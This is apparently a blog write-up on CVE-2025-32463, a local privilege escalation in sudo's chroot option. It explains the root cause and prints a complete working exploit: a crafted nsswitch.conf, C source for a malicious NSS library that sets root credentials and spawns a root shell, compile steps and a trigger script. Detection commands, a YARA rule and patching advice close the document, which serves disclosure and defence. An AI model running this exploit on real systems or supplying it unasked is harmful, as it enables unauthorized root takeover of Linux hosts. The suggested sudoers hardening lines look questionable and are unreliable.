CVE-2025-32463: Sudo Chroot Privesc — Local User to Root

Introduction

Sudo is one of those tools that security people tend to trust implicitly. It is the gatekeeper between unprivileged users and root access on virtually every Linux system in existence. So when a vulnerability drops that turns sudo itself into the privilege escalation vector, it gets attention fast.

CVE-2025-32463, disclosed in June 2025, is a local privilege escalation vulnerability in sudo versions 1.9.14 through 1.9.17. It exploits a flaw in how sudo processes the --chroot (-R) option, allowing a local user with sudo access to load arbitrary shared libraries as root. The end result: full root compromise from any user account that can run sudo with the chroot option.

CISA has since added CVE-2025-32463 to the Known Exploited Vulnerabilities catalog, confirming active exploitation in the wild. Every major Linux distribution has issued patches.

Vulnerability Summary

• CVE: CVE-2025-32463

• CVSS: 7.8 (High)

• Affected: Sudo 1.9.14 – 1.9.17

• Fixed In: Sudo 1.9.17p1

• Type: Local Privilege Escalation

• Discovery: Rich Mirch, Stratascale Cyber Research Unit (CRU)

Root Cause Analysis

The vulnerability was introduced in sudo 1.9.14 when support was added for the --chroot (-R) option. This option allows sudo to change the root directory before executing a command — a useful feature for system administrators managing chroot environments.

The problem: during the evaluation of the sudoers policy file, sudo performs path resolution using the user-specified chroot directory. This means sudo reads certain configuration files — including /etc/nsswitch.conf — from the chroot path rather than the real system root.

The Name Service Switch (NSS) configuration file (/etc/nsswitch.conf) controls which shared libraries the system loads for name resolution (users, groups, hosts, etc.). If an attacker can control this file, they can point it to a malicious NSS library that executes arbitrary code when loaded.

Since sudo runs with root privileges, any library it loads also runs as root. By combining a user-controlled chroot directory with a crafted nsswitch.conf and a malicious shared library, an attacker can achieve arbitrary code execution as root.

The Attack Chain

Step 1: Create the Fake Chroot Environment

hljs bash
# Create the staging directory
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
CHROOT="$STAGE/woot"
mkdir -p "$CHROOT/etc"
mkdir -p "$CHROOT/lib"

Step 2: Craft the Malicious NSS Configuration

The fake nsswitch.conf points name resolution to a custom library:

hljs bash
cat > "$CHROOT/etc/nsswitch.conf" << 'EOF'
passwd:     files woot1337
group:      files woot1337
shadow:     files woot1337
EOF

This tells the system to load libnss_woot1337.so.2 for user, group, and shadow lookups.

Step 3: Write the Malicious Shared Library

The payload is a C shared library with a constructor that runs automatically when the library is loaded. It sets the process UID and GID to 0 (root) and spawns a shell:

hljs c
// woot1337.c — NSS library payload
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn(void) {
    // Set all credential fields to root
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);

    // Spawn a root shell
    char *argv[] = {"/bin/bash", "-p", NULL};
    execve("/bin/bash", argv, NULL);
}

Step 4: Compile the Payload

hljs bash
gcc -shared -fPIC -o "$CHROOT/lib/libnss_woot1337.so.2" woot1337.c -nostartfiles

The -nostartfiles flag avoids linking unnecessary startup code. The .so.2 suffix matches the NSS naming convention.

Step 5: Trigger the Vulnerability

hljs bash
sudo -R "$CHROOT" whoami

When sudo processes this command:

1. It reads /etc/nsswitch.conf from $CHROOT/etc/nsswitch.conf (the attacker's crafted file)

2. The NSS configuration tells it to load libnss_woot1337.so.2

3. It searches the library path including $CHROOT/lib/

4. It loads the malicious library, which executes the pwn() constructor as root

5. The constructor spawns a root shell

Step 6: Verify and Clean Up

hljs bash
# Verify root access
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

# Clean up staging directory (optional)
rm -rf "$STAGE"

Complete Exploit Script

hljs bash
#!/bin/bash
# CVE-2025-32463 — Sudo chroot privilege escalation
# Affected: sudo 1.9.14 – 1.9.17
# Requires: sudo access with --chroot permission, gcc

set -e

echo "[*] CVE-2025-32463 Sudo Chroot Privesc"
echo "[*] Setting up fake chroot environment..."

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
CHROOT="$STAGE/woot"

mkdir -p "$CHROOT/etc" "$CHROOT/lib"

# Create malicious nsswitch.conf
cat > "$CHROOT/etc/nsswitch.conf" << 'NSSEOF'
passwd:     files woot1337
group:      files woot1337
shadow:     files woot1337
NSSEOF

# Create malicious NSS library
cat > "$STAGE/woot1337.c" << 'CEOF'
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn(void) {
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    char *argv[] = {"/bin/bash", "-p", NULL};
    execve("/bin/bash", argv, NULL);
}
CEOF

echo "[*] Compiling payload..."
gcc -shared -fPIC -o "$CHROOT/lib/libnss_woot1337.so.2" \
    "$STAGE/woot1337.c" -nostartfiles

echo "[*] Triggering sudo with malicious chroot..."
echo "[*] If successful, you will get a root shell."

sudo -R "$CHROOT" whoami

Demo Time - POC

This was tested on my virtual machine, which was in fact, vulnerable to the exploit!

Prerequisites and Limitations

This exploit requires several conditions to be met:

1. Vulnerable sudo version: 1.9.14 through 1.9.17 must be installed

2. Sudo access: The attacking user must have sudo privileges

3. Chroot permission: The sudoers configuration must allow the --chroot option

4. Build tools: gcc and standard C headers must be available

5. Writable temp directory: The user needs to create files in /tmp or similar

In practice, the most common scenario where this applies is a compromised application service account that has limited sudo rules configured — for instance, allowed to run specific commands with chroot capability.

Version Check

Quick check to determine if a system is vulnerable:

hljs bash
# Check sudo version
sudo --version | head -1

# Vulnerable output:
# Sudo version 1.9.14 through 1.9.17

# Check if chroot is permitted in sudoers
sudo -l 2>/dev/null | grep -i chroot

Detection

File System Indicators

hljs bash
# Check for suspicious chroot staging directories
find /tmp -maxdepth 2 -name "nsswitch.conf" -path "*/etc/*" 2>/dev/null

# Check for malicious NSS libraries
find /tmp -name "libnss_*.so*" 2>/dev/null

# Check for suspicious .c source files in tmp
find /tmp -name "*.c" -newer /tmp -mmin -60 2>/dev/null

Process and Log Monitoring

hljs bash
# Watch for sudo invocations with -R flag
grep -E 'sudo.*-R\s+/tmp' /var/log/auth.log

# Audit rule for monitoring sudo with chroot
auditctl -w /usr/bin/sudo -p x -k sudo_exec
auditctl -a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k sudo_usage

# Monitor for new shared libraries in temp directories
inotifywait -m -r /tmp --include '\.so' -e create -e modify

YARA Rule

hljs yara
rule CVE_2025_32463_Exploit {
    meta:
        description = "Detects CVE-2025-32463 sudo chroot exploit artifacts"
        cve = "CVE-2025-32463"

    strings:
        $nss_conf = "woot1337" ascii
        $setresuid = "setresuid" ascii
        $setresgid = "setresgid" ascii
        $constructor = "__attribute__((constructor))" ascii
        $sudo_chroot = "sudo -R" ascii

    condition:
        any of them
}

Remediation

1. Patch immediately — Update sudo to version 1.9.17p1 or later:

hljs bash
# Debian/Ubuntu
sudo apt update && sudo apt install sudo

# RHEL/CentOS
sudo yum update sudo

# Check the installed version after update
sudo --version | head -1

1. Restrict chroot in sudoers — If chroot is not needed, explicitly deny it:

hljs text
# In /etc/sudoers
Defaults !use_pty
Defaults !chroot

1. Audit sudo rules — Review all sudoers entries and remove unnecessary chroot permissions

2. Monitor — Deploy the detection rules above for ongoing monitoring

Conclusion

CVE-2025-32463 is a clean, reliable privilege escalation that turns a sudo feature into an attack vector. The chroot option, designed as a convenience for system administrators, inadvertently allowed users to influence which shared libraries sudo loads — with root privileges.

The exploit requires local access and sudo permissions, which limits its use as an initial access vector. But as a post-exploitation step for lateral movement or privilege escalation on a compromised Linux host, it is extremely effective. The exploit is deterministic, leaves minimal traces, and works on any system running the affected sudo versions.

Patch your systems, audit your sudoers rules, and assume that any user with sudo access on an unpatched box has root.